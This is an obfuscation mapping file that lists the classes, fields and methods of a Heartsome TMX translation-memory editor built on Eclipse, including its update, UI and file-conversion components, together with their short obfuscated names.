+net.heartsome.cat.document.TmxReaderEvent -> net.heartsome.cat.document.TmxReaderEvent: + int NORMAL_READ -> NORMAL_READ + int END_FILE -> END_FILE + int ERROR_TU -> ERROR_TU + int READ_EXCEPTION -> READ_EXCEPTION + net.heartsome.cat.common.bean.TmxTU tu -> s + int state -> state + net.heartsome.cat.common.bean.TmxTU getTu() -> getTu + void setTu(net.heartsome.cat.common.bean.TmxTU) -> setTu + int getState() -> getState + void setState(int) -> setState +net.heartsome.cat.document.XCSUtility -> net.heartsome.cat.document.XCSUtility: + org.slf4j.Logger logger -> logger + org.dom4j.Element root -> em + java.util.List pickList(java.lang.String,java.lang.String,java.lang.String) -> pickList + org.dom4j.Element getElement(java.lang.String,java.lang.String,java.lang.String) -> a +net.heartsome.cat.p2update.Activator -> net.heartsome.cat.p2update.a: + org.slf4j.Logger logger -> logger + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.p2update.Activator plugin -> gi + org.osgi.framework.BundleContext bundleContext -> gj + org.osgi.framework.ServiceRegistration policyRegistration -> gk + net.heartsome.cat.p2update.UpdatePolicy policy -> gl + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.p2update.Activator getDefault() -> L + void registerP2Policy(org.osgi.framework.BundleContext) -> a + void loadUpdateSite() -> M + java.lang.String getUrlString() -> N + java.lang.String getUpdateSiteFile() -> O +net.heartsome.cat.p2update.UpdatePolicy -> net.heartsome.cat.p2update.b: + boolean continueWorkingWithOperation(org.eclipse.equinox.p2.operations.ProfileChangeOperation,org.eclipse.swt.widgets.Shell) -> continueWorkingWithOperation + void updateForPreferences() -> P +net.heartsome.cat.p2update.autoupdate.AutomaticUpdate -> net.heartsome.cat.p2update.autoupdate.AutomaticUpdate: + org.eclipse.equinox.p2.operations.UpdateOperation operation -> gm + org.slf4j.Logger logger -> logger + void checkForUpdates() -> checkForUpdates + void doUpdate() -> Q + org.eclipse.equinox.p2.ui.ProvisioningUI getProvisioningUI() -> getProvisioningUI + org.eclipse.swt.widgets.Shell getShell() -> getShell + void access$0(net.heartsome.cat.p2update.autoupdate.AutomaticUpdate) -> a +net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$1 -> net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$1: + net.heartsome.cat.p2update.autoupdate.AutomaticUpdate this$0 -> gn + org.eclipse.core.runtime.IStatus[] val$checkStatus -> go + org.eclipse.core.runtime.IStatus runModal(org.eclipse.core.runtime.IProgressMonitor) -> runModal +net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$2 -> net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$2: + net.heartsome.cat.p2update.autoupdate.AutomaticUpdate this$0 -> gn + org.eclipse.core.runtime.IStatus[] val$checkStatus -> go + void done(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> done + net.heartsome.cat.p2update.autoupdate.AutomaticUpdate access$0(net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$2) -> a +net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$2$1 -> net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$2$1: + net.heartsome.cat.p2update.autoupdate.AutomaticUpdate$2 this$1 -> gp + org.eclipse.core.runtime.IStatus[] val$checkStatus -> go + void run() -> run +net.heartsome.cat.p2update.handler.CheckUpdateHandler -> net.heartsome.cat.p2update.handler.a: + boolean hasNoRepos -> gq + org.eclipse.equinox.p2.operations.UpdateOperation operation -> gm + java.lang.String getProgressTaskName() -> R + void doExecute(org.eclipse.equinox.p2.ui.LoadMetadataRepositoryJob) -> a + void doPostLoadBackgroundWork(org.eclipse.core.runtime.IProgressMonitor) -> a + boolean preloadRepositories() -> S +net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler -> net.heartsome.cat.p2update.handler.b: + java.lang.Object execute(org.eclipse.core.commands.ExecutionEvent) -> execute + void doExecuteAndLoad() -> T + java.lang.String getProgressTaskName() -> R + void doExecute(org.eclipse.equinox.p2.ui.LoadMetadataRepositoryJob) -> a + boolean preloadRepositories() -> S + void doPostLoadBackgroundWork(org.eclipse.core.runtime.IProgressMonitor) -> a + boolean waitForPreload() -> U + void setLoadJobProperties(org.eclipse.core.runtime.jobs.Job) -> a + org.eclipse.equinox.p2.ui.ProvisioningUI getProvisioningUI() -> getProvisioningUI + org.eclipse.swt.widgets.Shell getShell() -> getShell +net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler$1 -> net.heartsome.cat.p2update.handler.c: + net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler this$0 -> gr + void run() -> run +net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler$2 -> net.heartsome.cat.p2update.handler.d: + net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler this$0 -> gr + org.eclipse.core.runtime.IStatus[] val$checkStatus -> go + org.eclipse.core.runtime.IStatus runModal(org.eclipse.core.runtime.IProgressMonitor) -> runModal +net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler$3 -> net.heartsome.cat.p2update.handler.e: + net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler this$0 -> gr + org.eclipse.core.runtime.IStatus[] val$checkStatus -> go + org.eclipse.equinox.p2.ui.LoadMetadataRepositoryJob val$loadJob -> gs + void done(org.eclipse.core.runtime.jobs.IJobChangeEvent) -> done + net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler access$0(net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler$3) -> a +net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler$3$1 -> net.heartsome.cat.p2update.handler.f: + net.heartsome.cat.p2update.handler.PreloadingRepositoryHandler$3 this$1 -> gt + org.eclipse.core.runtime.IStatus[] val$checkStatus -> go + org.eclipse.equinox.p2.ui.LoadMetadataRepositoryJob val$loadJob -> gs + void run() -> run +net.heartsome.cat.p2update.resource.Messages -> net.heartsome.cat.p2update.resource.Messages: + java.lang.String BUNDLE_NAME -> BUNDLE_NAME + java.util.ResourceBundle BUNDLE -> am + java.lang.String getString(java.lang.String) -> getString +net.heartsome.cat.p2update.ui.UpdateDescriptionPage -> net.heartsome.cat.p2update.ui.a: + org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot root -> root + org.eclipse.equinox.p2.ui.ProvisioningUI ui -> ui + org.eclipse.equinox.p2.operations.UpdateOperation operation -> gm + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + java.lang.String getUpdateDescDetailText() -> V +net.heartsome.cat.p2update.ui.UpdateWizard -> net.heartsome.cat.p2update.ui.b: + org.eclipse.equinox.p2.operations.Update[] initialSelections -> gu + org.eclipse.equinox.p2.operations.UpdateOperation operation -> gm + org.eclipse.equinox.p2.ui.ProvisioningUI ui -> ui + org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot root -> root + void addPages() -> addPages + boolean performFinish() -> performFinish + void initializeResolutionModelElements(java.lang.Object[]) -> initializeResolutionModelElements + boolean shouldShowProvisioningPlanChildren() -> shouldShowProvisioningPlanChildren + org.eclipse.equinox.p2.ui.Policy getPolicy() -> getPolicy + java.lang.String getProfileId() -> getProfileId +net.heartsome.cat.p2update.ui.UpdateWizardPage -> net.heartsome.cat.p2update.ui.c: + org.eclipse.equinox.p2.ui.ProvisioningUI ui -> ui + org.eclipse.equinox.p2.operations.UpdateOperation operation -> gm + org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot input -> input + org.eclipse.jface.viewers.TreeViewer treeViewer -> treeViewer + org.eclipse.equinox.internal.p2.ui.viewers.ProvElementContentProvider contentProvider -> gv + org.eclipse.equinox.internal.p2.ui.viewers.IUDetailsLabelProvider labelProvider -> gw + void createControl(org.eclipse.swt.widgets.Composite) -> createControl + boolean performFinish() -> performFinish + void setDrilldownElements(org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot,org.eclipse.equinox.p2.operations.ProfileChangeOperation) -> a + void updateCaches(org.eclipse.equinox.internal.p2.ui.model.IUElementListRoot,org.eclipse.equinox.p2.operations.ProfileChangeOperation) -> updateCaches + boolean isCreated() -> isCreated + org.eclipse.equinox.internal.p2.ui.dialogs.IUDetailsGroup getDetailsGroup() -> getDetailsGroup + org.eclipse.equinox.p2.metadata.IInstallableUnit getSelectedIU() -> getSelectedIU + java.lang.Object[] getSelectedElements() -> getSelectedElements + java.lang.String getDialogSettingsName() -> getDialogSettingsName + org.eclipse.swt.custom.SashForm getSashForm() -> getSashForm + int getColumnWidth(int) -> getColumnWidth + java.lang.String getClipboardText(org.eclipse.swt.widgets.Control) -> getClipboardText +net.heartsome.cat.p2update.ui.UpdateWizardPage$1 -> net.heartsome.cat.p2update.ui.d: + net.heartsome.cat.p2update.ui.UpdateWizardPage this$0 -> gx + void run() -> run +net.heartsome.cat.p2update.ui.UpdateWizardPage$2 -> net.heartsome.cat.p2update.ui.e: + net.heartsome.cat.p2update.ui.UpdateWizardPage this$0 -> gx + org.eclipse.swt.widgets.Composite val$parent -> gy + java.lang.Runnable val$runnable -> gz + void run(org.eclipse.core.runtime.IProgressMonitor) -> run +net.heartsome.cat.p2update.util.P2UpdateUtil -> net.heartsome.cat.p2update.util.a: + int INFO_TYPE_CHECK -> gA + int INFO_TYPE_AUTO_CHECK -> gB + java.lang.String ATUO_CHECK_UPDATE_JOB_NAME -> gC + java.lang.String CHECK_UPDATE_JOB_NAME -> gD + java.lang.String CHECK_UPDATE_TASK_NAME -> gE + java.lang.String EXECUTE_UPDATE_JOB_NAME -> gF + java.lang.String EXECUTE_UPDATE_Task_NAME -> gG + java.lang.String AUTO_UPDATE_PROMPT_INFO_TITLE -> gH + java.lang.String UPDATE_PROMPT_INFO_TITLE -> gI + java.lang.String UPDATE_PROMPT_INFO_CONTENT -> gJ + java.lang.String UI_WIZARD_DIALOG_TITLE -> gK + java.lang.String UI_WIZARD_PAGE_TITLE -> gL + java.lang.String UI_WIZARD_PAGE_DESC -> gM + java.lang.String UI_WIZARD_DESC_PAGE_TITLE -> gN + java.lang.String UI_WIZARD_DESC_PAGE_DESC -> gO + java.lang.String UPDATE_PROMPT_INFO_NO_UPDATE -> gP + java.lang.String UI_WIZARD_DESC_PAGE_DESC_DETAIL -> gQ + void openConnectErrorInfoDialog(org.eclipse.swt.widgets.Shell,int) -> a +net.heartsome.cat.te.Activator -> net.heartsome.cat.te.a: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.te.Activator plugin -> gR + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.te.Activator getDefault() -> W + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.te.Application -> net.heartsome.cat.te.b: + java.lang.Object start(org.eclipse.equinox.app.IApplicationContext) -> start + void stop() -> stop + void checkCleanValue() -> X +net.heartsome.cat.te.Application$1 -> net.heartsome.cat.te.c: + net.heartsome.cat.te.Application this$0 -> gS + org.eclipse.swt.widgets.Display val$display -> gT + org.eclipse.ui.IWorkbench val$workbench -> dc + void run() -> run +net.heartsome.cat.te.ApplicationActionBarAdvisor -> net.heartsome.cat.te.d: + org.eclipse.ui.IWorkbenchWindow window -> window + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction lockToolBarAction -> gU + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction exitAction -> gV + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction undoAction -> gW + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction redoAction -> gX + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction cutAction -> gY + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction copyAction -> gZ + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction pasteAction -> ha + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction deleteAction -> hb + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction findAction -> hc + org.eclipse.ui.actions.ActionFactory$IWorkbenchAction helpAction -> hd + boolean isDisposed -> he + org.eclipse.jface.action.MenuManager coolbarPopupMenuManager -> hf + void makeActions(org.eclipse.ui.IWorkbenchWindow) -> makeActions + void fillMenuBar(org.eclipse.jface.action.IMenuManager) -> fillMenuBar + void fillCoolBar(org.eclipse.jface.action.ICoolBarManager) -> fillCoolBar + org.eclipse.jface.action.IToolBarManager createToolItem(org.eclipse.jface.action.ICoolBarManager) -> a + org.eclipse.jface.action.MenuManager createFileMenu() -> Y + org.eclipse.jface.action.MenuManager createEditMenu() -> Z + org.eclipse.jface.action.MenuManager createHelpMenu() -> aa + void dispose() -> dispose + void removeUnusedAction() -> ab +net.heartsome.cat.te.ApplicationWorkbenchAdvisor -> net.heartsome.cat.te.e: + java.lang.String PERSPECTIVE_ID -> hg + net.heartsome.cat.te.OpenDocumentEventProcessor openDocProcessor -> hh + org.eclipse.ui.application.WorkbenchWindowAdvisor createWorkbenchWindowAdvisor(org.eclipse.ui.application.IWorkbenchWindowConfigurer) -> createWorkbenchWindowAdvisor + java.lang.String getInitialWindowPerspectiveId() -> getInitialWindowPerspectiveId + org.eclipse.ui.model.ContributionComparator getComparatorFor(java.lang.String) -> getComparatorFor + void eventLoopIdle(org.eclipse.swt.widgets.Display) -> eventLoopIdle +net.heartsome.cat.te.ApplicationWorkbenchWindowAdvisor -> net.heartsome.cat.te.f: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String AUTO_UPDATE_FLAG -> hi + org.eclipse.ui.application.ActionBarAdvisor createActionBarAdvisor(org.eclipse.ui.application.IActionBarConfigurer) -> createActionBarAdvisor + void preWindowOpen() -> preWindowOpen + void postWindowOpen() -> postWindowOpen + void reconverOpenFile() -> ac + void automaticCheckUpdate() -> ad +net.heartsome.cat.te.OpenDocumentEventProcessor -> net.heartsome.cat.te.g: + java.util.List filesToOpen -> hj + void handleEvent(org.eclipse.swt.widgets.Event) -> handleEvent + void openFiles() -> ae +net.heartsome.cat.te.PreferencesComparator -> net.heartsome.cat.te.h: + int category(org.eclipse.ui.model.IComparableContribution) -> category +net.heartsome.cat.te.TeStartup -> net.heartsome.cat.te.i: + void earlyStartup() -> earlyStartup +net.heartsome.cat.te.TeStartup$1 -> net.heartsome.cat.te.j: + net.heartsome.cat.te.TeStartup this$0 -> hk + org.eclipse.ui.IWorkbench val$workbench -> dc + void run() -> run +net.heartsome.cat.te.core.Activator -> net.heartsome.cat.te.core.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.te.core.Activator plugin -> hl + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.te.core.Activator getDefault() -> getDefault +net.heartsome.cat.te.core.TeCoreConstant -> net.heartsome.cat.te.core.TeCoreConstant: + java.lang.String QAResultViewer_ID -> QAResultViewer_ID + java.lang.String ID_MARK -> ID_MARK + java.lang.String FILTERID_allSeg -> FILTERID_allSeg + java.lang.String FILTERID_srcSameWIthTgtSeg -> FILTERID_srcSameWIthTgtSeg + java.lang.String FILTERID_srcSameButTgtSeg -> FILTERID_srcSameButTgtSeg + java.lang.String FILTERID_tgtSameButSrcSeg -> FILTERID_tgtSameButSrcSeg + java.lang.String FILTERID_duplicateSeg -> FILTERID_duplicateSeg + java.lang.String FILTERID_withNoteSeg -> FILTERID_withNoteSeg + java.lang.String FILTERID_withGarbleSeg -> FILTERID_withGarbleSeg + java.lang.String FILTERID_tgtNullSeg -> FILTERID_tgtNullSeg + java.lang.String FILTER_ignoreTag -> FILTER_ignoreTag + java.lang.String FILTER_ignoreCase -> FILTER_ignoreCase + java.lang.String FILTER_TYPE_include -> FILTER_TYPE_include + java.lang.String FILTER_TYPE_notInclude -> FILTER_TYPE_notInclude + java.lang.String FILTER_TYPE_equal -> FILTER_TYPE_equal + java.lang.String FILTER_TYPE_notEqual -> FILTER_TYPE_notEqual + java.lang.String FILTERID_filteredSegs -> FILTERID_filteredSegs + java.lang.String FILTERID_givenSegs -> FILTERID_givenSegs +net.heartsome.cat.te.core.bean.ExportBean -> net.heartsome.cat.te.core.bean.ExportBean: + int exportScope -> hm + java.lang.String targetFile -> hn + boolean isAppend -> ho + java.util.List selectIds -> hp + int getExportScope() -> getExportScope + void setExportScope(int) -> setExportScope + java.lang.String getTargetFile() -> getTargetFile + void setTargetFile(java.lang.String) -> setTargetFile + boolean isAppend() -> isAppend + void setAppend(boolean) -> setAppend + java.util.List getSelectIds() -> getSelectIds + void setSelectIds(java.util.List) -> setSelectIds +net.heartsome.cat.te.core.bean.File2TmxConvertBean -> net.heartsome.cat.te.core.bean.File2TmxConvertBean: + java.lang.String sourceFilePath -> sourceFilePath + java.lang.String srcLangCode -> srcLangCode + java.lang.String tgtLangCode -> tgtLangCode + java.util.Map customeAttr -> customeAttr + java.lang.String newTmxFilePath -> newTmxFilePath + java.lang.String appendExistTmxFilePath -> appendExistTmxFilePath + boolean saveType -> saveType + boolean isOpenTmx -> isOpenTmx +net.heartsome.cat.te.core.bean.PairFileBean -> net.heartsome.cat.te.core.bean.PairFileBean: + net.heartsome.cat.common.locale.Language srcLanguage -> hq + java.lang.String srcPath -> hr + net.heartsome.cat.common.locale.Language tgtLanguage -> hs + java.lang.String tgtPath -> ht + java.lang.String savePath -> hu + boolean machineTrans -> hv + boolean openAfterPair -> hw + net.heartsome.cat.common.locale.Language getSrcLanguage() -> getSrcLanguage + void setSrcLanguage(net.heartsome.cat.common.locale.Language) -> setSrcLanguage + java.lang.String getSrcPath() -> getSrcPath + void setSrcPath(java.lang.String) -> setSrcPath + net.heartsome.cat.common.locale.Language getTgtLanguage() -> getTgtLanguage + void setTgtLanguage(net.heartsome.cat.common.locale.Language) -> setTgtLanguage + java.lang.String getTgtPath() -> getTgtPath + void setTgtPath(java.lang.String) -> setTgtPath + java.lang.String getSavePath() -> getSavePath + void setSavePath(java.lang.String) -> setSavePath + boolean isMachineTrans() -> isMachineTrans + void setMachineTrans(boolean) -> setMachineTrans + boolean isOpenAfterPair() -> isOpenAfterPair + void setOpenAfterPair(boolean) -> setOpenAfterPair +net.heartsome.cat.te.core.bean.Property -> net.heartsome.cat.te.core.bean.Property: + java.lang.String key -> key + java.lang.String value -> value + java.lang.String getKey() -> getKey + void setKey(java.lang.String) -> setKey + java.lang.String getValue() -> getValue + void setValue(java.lang.String) -> setValue +net.heartsome.cat.te.core.bean.SimpleTUData -> net.heartsome.cat.te.core.bean.SimpleTUData: + java.lang.String modifyTime -> hx + java.lang.String srcText -> hy + java.lang.String tgtText -> hz + java.lang.String tuId -> ad + java.lang.String getModifyTime() -> getModifyTime + java.lang.String getSrcText() -> getSrcText + java.lang.String getTgtText() -> getTgtText + java.lang.String getTuId() -> getTuId + boolean isEmpty() -> isEmpty + boolean isDulicateEquals(net.heartsome.cat.te.core.bean.SimpleTUData,boolean) -> isDulicateEquals + boolean isSrcSameDiffTgtEquals(net.heartsome.cat.te.core.bean.SimpleTUData,boolean) -> isSrcSameDiffTgtEquals + void setModifyTime(java.lang.String) -> setModifyTime + void setSrcText(java.lang.String) -> setSrcText + void setTgtText(java.lang.String) -> setTgtText + void setTuId(java.lang.String) -> setTuId + java.lang.String toString() -> toString +net.heartsome.cat.te.core.bean.TmxConvert2FileBean -> net.heartsome.cat.te.core.bean.TmxConvert2FileBean: + java.util.List tmxFilePath -> tmxFilePath + int targetFileType -> targetFileType + boolean isNewTargetPath -> isNewTargetPath + java.lang.String newTargetPath -> newTargetPath +net.heartsome.cat.te.core.bean.TmxEditorFilterBean -> net.heartsome.cat.te.core.bean.TmxEditorFilterBean: + java.lang.String id -> id + java.lang.String name -> name + boolean useable -> hA + boolean custom -> hB + boolean fitAll -> hC + java.util.List srcFilter -> hD + java.util.List tgtFilter -> hE + java.util.List noteFilter -> hF + java.util.List fixedPropFilter -> hG + java.util.List customPropFilter -> hH + java.lang.String xpath -> hI + java.lang.String getName() -> getName + void setName(java.lang.String) -> setName + boolean isUseable() -> isUseable + void setUseable(boolean) -> setUseable + java.lang.String getId() -> getId + void setId(java.lang.String) -> setId + java.util.List getSrcFilter() -> getSrcFilter + void setSrcFilter(java.util.List) -> setSrcFilter + java.util.List getTgtFilter() -> getTgtFilter + void setTgtFilter(java.util.List) -> setTgtFilter + java.util.List getNoteFilter() -> getNoteFilter + void setNoteFilter(java.util.List) -> setNoteFilter + java.util.List getFixedPropFilter() -> getFixedPropFilter + void setFixedPropFilter(java.util.List) -> setFixedPropFilter + java.util.List getCustomPropFilter() -> getCustomPropFilter + void setCustomPropFilter(java.util.List) -> setCustomPropFilter + boolean isFitAll() -> isFitAll + void setFitAll(boolean) -> setFitAll + boolean isCustom() -> isCustom + void setCustom(boolean) -> setCustom + java.lang.String getXpath() -> getXpath + void setXpath(java.lang.String) -> setXpath +net.heartsome.cat.te.core.bean.TmxEditorSelection -> net.heartsome.cat.te.core.bean.TmxEditorSelection: + java.lang.String identifier -> hJ + int selectedColumn -> hK + java.util.LinkedHashMap selectedTus -> hL + java.lang.String getIdentifier() -> getIdentifier + void setIdentifier(java.lang.String) -> setIdentifier + int getSelectedColumn() -> getSelectedColumn + void setSelectedColumn(int) -> setSelectedColumn + void addTu(java.lang.String,net.heartsome.cat.common.bean.TmxTU) -> addTu + net.heartsome.cat.common.bean.TmxTU getTu(java.lang.String) -> getTu + java.util.Map getTus() -> getTus + net.heartsome.cat.common.bean.TmxTU getDisplayTu() -> getDisplayTu +net.heartsome.cat.te.core.bean.TmxPropertiesBean -> net.heartsome.cat.te.core.bean.TmxPropertiesBean: + java.lang.String version -> version + java.lang.String location -> location + java.lang.String fileSize -> hM + java.lang.String creator -> hN + java.lang.String creationDate -> creationDate + java.lang.String creationTooles -> hO + java.lang.String creationTooleVersion -> hP + int tuNumber -> hQ + java.lang.String srcLang -> eD + java.util.List targetLang -> targetLang + java.lang.String getVersion() -> getVersion + void setVersion(java.lang.String) -> setVersion + java.lang.String getLocation() -> getLocation + void setLocation(java.lang.String) -> setLocation + java.lang.String getFileSize() -> getFileSize + void setFileSize(java.lang.String) -> setFileSize + java.lang.String getCreator() -> getCreator + void setCreator(java.lang.String) -> setCreator + java.lang.String getCreationDate() -> getCreationDate + void setCreationDate(java.lang.String) -> setCreationDate + java.lang.String getCreationTooles() -> getCreationTooles + void setCreationTooles(java.lang.String) -> setCreationTooles + int getTuNumber() -> getTuNumber + void setTuNumber(int) -> setTuNumber + java.lang.String getSrcLang() -> getSrcLang + void setSrcLang(java.lang.String) -> setSrcLang + java.util.List getTargetLang() -> getTargetLang + void setTargetLang(java.util.List) -> setTargetLang + java.lang.String getCreationTooleVersion() -> getCreationTooleVersion + void setCreationTooleVersion(java.lang.String) -> setCreationTooleVersion +net.heartsome.cat.te.core.bean.TmxTemplet -> net.heartsome.cat.te.core.bean.TmxTemplet: + net.heartsome.cat.common.bean.TmxHeader generateTmxHeader(java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> generateTmxHeader + java.lang.String header2Xml(net.heartsome.cat.common.bean.TmxHeader) -> header2Xml + java.lang.String genertateTmxXmlDeclar() -> genertateTmxXmlDeclar + java.lang.String wrapTextUseQout(java.lang.String) -> p + java.lang.String getProductVersion() -> getProductVersion + java.lang.String getProductName() -> getProductName +net.heartsome.cat.te.core.converter.AbstractFile2Tmx -> net.heartsome.cat.te.core.converter.AbstractFile2Tmx: + void doCovnerter(net.heartsome.cat.te.core.bean.File2TmxConvertBean,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter +net.heartsome.cat.te.core.converter.AbstractTmx2File -> net.heartsome.cat.te.core.converter.AbstractTmx2File: + net.heartsome.cat.document.TmxReader tmxReader -> tmxReader + void OpenTmxFile(java.io.File) -> OpenTmxFile + void doCovnerter(java.lang.String,java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter +net.heartsome.cat.te.core.converter.ConverterFactory -> net.heartsome.cat.te.core.converter.ConverterFactory: + int FILE_TYPE_DOCX -> FILE_TYPE_DOCX + int FILE_TYPE_CSV -> FILE_TYPE_CSV + int FILE_TYPE_XLSX -> FILE_TYPE_XLSX + int FILE_TYPE_TXT -> FILE_TYPE_TXT + int FILE_TYPE_TBX -> FILE_TYPE_TBX + int FILE_TYPE_HSTM -> FILE_TYPE_HSTM + net.heartsome.cat.te.core.converter.AbstractTmx2File getTmx2FileConverter(int) -> getTmx2FileConverter + net.heartsome.cat.te.core.converter.AbstractFile2Tmx getFile2TmxConverter(java.lang.String) -> getFile2TmxConverter + net.heartsome.cat.te.core.converter.AbstractFile2Tmx getFile2TmxConverter(int) -> getFile2TmxConverter + int getFileType(java.lang.String) -> getFileType + java.util.Map getAllTmx2FileConverterName() -> getAllTmx2FileConverterName +net.heartsome.cat.te.core.converter.TmxUtil -> net.heartsome.cat.te.core.converter.TmxUtil: + org.slf4j.Logger LOGGER -> LOGGER + com.ximpleware.VTDGen clearUnableParseChars(java.lang.String) -> clearUnableParseChars +net.heartsome.cat.te.core.converter.csv.Csv2Tmx -> net.heartsome.cat.te.core.converter.csv.a: + void doCovnerter(net.heartsome.cat.te.core.bean.File2TmxConvertBean,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter +net.heartsome.cat.te.core.converter.csv.Tmx2Csv -> net.heartsome.cat.te.core.converter.csv.b: + java.lang.String NAME -> NAME + void doCovnerter(java.lang.String,java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter +net.heartsome.cat.te.core.converter.docx.Docx2Tmx -> net.heartsome.cat.te.core.converter.docx.a: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String ns_w -> hR + int appendOffset -> hS + java.util.List langs -> hT + void doCovnerter(net.heartsome.cat.te.core.bean.File2TmxConvertBean,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter + void newTmxFile(net.heartsome.cat.te.core.bean.File2TmxConvertBean,org.eclipse.core.runtime.IProgressMonitor) -> a + void valiteLangs(net.heartsome.cat.te.core.bean.File2TmxConvertBean) -> a + void appendTmxFile(net.heartsome.cat.te.core.bean.File2TmxConvertBean,org.eclipse.core.runtime.IProgressMonitor) -> b + java.lang.String getSrclangAndTuOffset(java.lang.String) -> q + void getLangs(net.heartsome.cat.te.core.bean.File2TmxConvertBean,com.ximpleware.VTDNav) -> a + java.lang.String getTuFromTr(net.heartsome.cat.te.core.bean.File2TmxConvertBean,com.ximpleware.VTDNav) -> b + java.lang.String getTcPlainText(com.ximpleware.VTDNav) -> a + void addTuPropNode(java.lang.StringBuilder,java.util.Map) -> a +net.heartsome.cat.te.core.converter.docx.Tmx2Docx -> net.heartsome.cat.te.core.converter.docx.b: + java.lang.String NAME -> NAME + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String template -> hU + void doCovnerter(java.lang.String,java.io.File,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter + void replaceZipEntry(java.lang.String,java.io.File,java.util.Map) -> a +net.heartsome.cat.te.core.converter.docx.Tmx2Docx$DocumentXml -> net.heartsome.cat.te.core.converter.docx.c: + java.lang.String documentxmlTail -> hV + com.ximpleware.VTDNav vn -> hW + com.ximpleware.AutoPilot ap -> ar + java.io.File tmpFile -> hX + java.io.BufferedWriter tmpFileWriter -> hY + net.heartsome.cat.te.core.converter.docx.Tmx2Docx this$0 -> hZ + net.heartsome.cat.te.core.converter.docx.Tmx2Docx$DocumentXml write(java.lang.String) -> r + java.io.File save() -> af +net.heartsome.cat.te.core.converter.docx.Tmx2Docx$DocxTable -> net.heartsome.cat.te.core.converter.docx.d: + java.lang.String firstColumnWidth -> ia + java.lang.String langColumnWidth -> ib + java.util.List langList -> ic + net.heartsome.cat.te.core.converter.docx.Tmx2Docx$DocumentXml document -> ie + int firstColumnIndex -> if + java.util.Map segmap -> ig + net.heartsome.cat.te.core.converter.docx.Tmx2Docx this$0 -> hZ + void close() -> close + void newRow(net.heartsome.cat.common.bean.TmxTU) -> g +net.heartsome.cat.te.core.converter.docx.Tmx2Docx$StyleText -> net.heartsome.cat.te.core.converter.docx.e: + java.lang.String text -> text + java.lang.String styleCode -> ih + net.heartsome.cat.te.core.converter.docx.Tmx2Docx this$0 -> hZ + void setText(java.lang.String) -> setText + void setStyleCode(java.lang.String) -> s + java.lang.String toString() -> toString +net.heartsome.cat.te.core.converter.docx.Tmx2Docx$StyleXml -> net.heartsome.cat.te.core.converter.docx.f: + com.ximpleware.VTDNav vn -> hW + com.ximpleware.AutoPilot ap -> ar + com.ximpleware.XMLModifier xm -> ii + net.heartsome.cat.te.core.converter.docx.Tmx2Docx this$0 -> hZ + void createTableStyle(java.lang.String) -> t + java.io.File save() -> af +net.heartsome.cat.te.core.converter.docx.Tmx2Docx$TableColumn -> net.heartsome.cat.te.core.converter.docx.g: + net.heartsome.cat.te.core.converter.docx.Tmx2Docx$DocumentXml document -> ie + net.heartsome.cat.te.core.converter.docx.Tmx2Docx this$0 -> hZ + void setLayout(java.lang.String,java.lang.String) -> d + void setStyleText(net.heartsome.cat.te.core.converter.docx.Tmx2Docx$StyleText) -> a + void close() -> close +net.heartsome.cat.te.core.converter.hstm.Hstm2Tmx -> net.heartsome.cat.te.core.converter.hstm.a: + org.slf4j.Logger LOGGER -> LOGGER + int cache_size -> ij + java.util.List cache -> ik + java.lang.String attributeString -> il + java.util.List tuIds -> im + net.heartsome.cat.database.TMXDBOperatorFacade facade -> in + java.util.List languages -> io + void doCovnerter(net.heartsome.cat.te.core.bean.File2TmxConvertBean,org.eclipse.core.runtime.IProgressMonitor) -> doCovnerter + void writeTmxTU(java.util.List,net.heartsome.cat.te.core.converter.tbx.AbstractWriter) -> a + boolean writeNewTmx(net.heartsome.cat.te.core.converter.tbx.AbstractWriter,org.eclipse.core.runtime.IProgressMonitor) -> a + net.heartsome.cat.database.DBOperator 